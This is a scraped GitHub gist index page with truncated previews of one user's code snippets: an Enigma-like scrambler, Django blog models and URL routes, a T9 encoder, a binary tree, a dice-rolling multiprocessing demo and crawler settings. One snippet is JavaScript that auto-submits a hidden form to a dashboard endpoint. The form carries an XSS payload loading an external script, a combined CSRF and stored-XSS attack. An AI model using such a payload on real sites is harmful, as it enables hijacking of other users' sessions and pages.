Skip to content

Instantly share code, notes, and snippets.

View gist:1147447
import random
import copy
ALPHABET = ["A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z", " "]
class Scrambler:
"""A single scrambler unit"""
def __init__(self, seed):
self.routes = range(len(ALPHABET))
random.seed(seed)
random.shuffle(self.routes)
View gist:1147493
import random
import copy
ALPHABET = ["A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z", " "]
class Scrambler:
"""A single scrambler unit"""
def __init__(self, seed):
self.routes = range(len(ALPHABET))
random.seed(seed)
random.shuffle(self.routes)
View gist:1157299
# -*- coding: utf-8 -*-
"horfunk.radiopirate models and events handlers"
import datetime
import os
import logging
from django.db import models
from django.contrib.auth.models import User
View 1a.java
/**
* @param word String to be turned into T9 code
* @return the T9 code of the input string
*
* Method returns the order of buttons of digipad buttons to be pressed to
* get the input String from a T9 predictive text dictionary.
*
* This method assumes the order of the buttons is as follows and ignores case:
*
* 2= a,b,c
View gist:3398275
var form = document.createElement("form", {action: "/dashboard", method: "POST", style: "display: none", onsubmit: "return false;"});
form.appendChild(document.createElement("input", {type: "hidden", name: "21", value: "<IMG \"\"\"><SCRIPT SRC=\"//danpalmer.me/s/lkd.js\"></SCRIPT>\">"}));
document.body.appendChild(form);
form.submit();
View urls.py
from django.conf.urls import patterns, include, url
from django.views.generic import ListView
from blogengine.models import Category, Post
from blogengine.views import PostsFeed
# Uncomment the next two lines to enable the admin:
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
View blogengine_urls.py
from django.conf.urls import patterns, include, url
from django.views.generic import ListView
from blogengine.models import Category, Post
from blogengine.views import PostsFeed
urlpatterns = patterns('blogengine.views',
# Home page
url(r'', 'getPosts'),
url(r'(?P<page>\d+)$', ListView.as_view(model=Post, paginate_by=2,)),
View tree.py
class Tree(object):
def __init__(self, cargo, left=None, right=None):
self.cargo = cargo
self.left = left
self.right = right
def __str__(self):
return str(self.cargo)
#Traversing through the tree
View multiprocess_demo.py
from multiprocessing import Pool, cpu_count
import time
from random import randint
def roll(dice=1, sides=6):
try:
return [randint(1, sides) for i in range(dice)]
except:
return []
View settings.py
REQUEST_SESSIONS = {
"api": requests.Session(),
"probe": requests.Session()
}
REQUEST_SESSIONS["api"].headers["User-Agent"] += " +http://git.io/cso_malucrawl"